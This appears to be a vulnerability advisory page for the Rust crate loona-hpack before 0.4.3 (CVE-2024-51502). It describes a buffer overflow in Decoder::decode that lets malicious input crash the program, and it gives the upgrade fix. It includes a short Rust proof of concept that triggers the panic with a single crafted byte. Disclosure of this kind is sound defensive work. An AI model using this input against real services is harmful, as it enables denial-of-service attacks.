Buffer Overflow Affecting loona-hpack package, versions <0.4.3
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (17th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-RUST-LOONAHPACK-8342622
- published 5 Nov 2024
- disclosed 5 Apr 2024
- credit Unknown
Introduced: 5 Apr 2024
CVE-2024-51502 Open this link in a new tabHow to fix?
Upgrade loona-hpack to version 0.4.3 or higher.
Overview
Affected versions of this package are vulnerable to Buffer Overflow due to insufficient length checks in Decoder::decode. An attacker can trigger a panic by decoding malicious data.
Note: A patch has been issued for this vulnerability on the hpack-patched project.
PoC
use hpack::Decoder;
pub fn main() {
let input = &[0x3f];
let mut decoder = Decoder::new();
let _ = decoder.decode(input);
}
CVSS Scores
version 3.1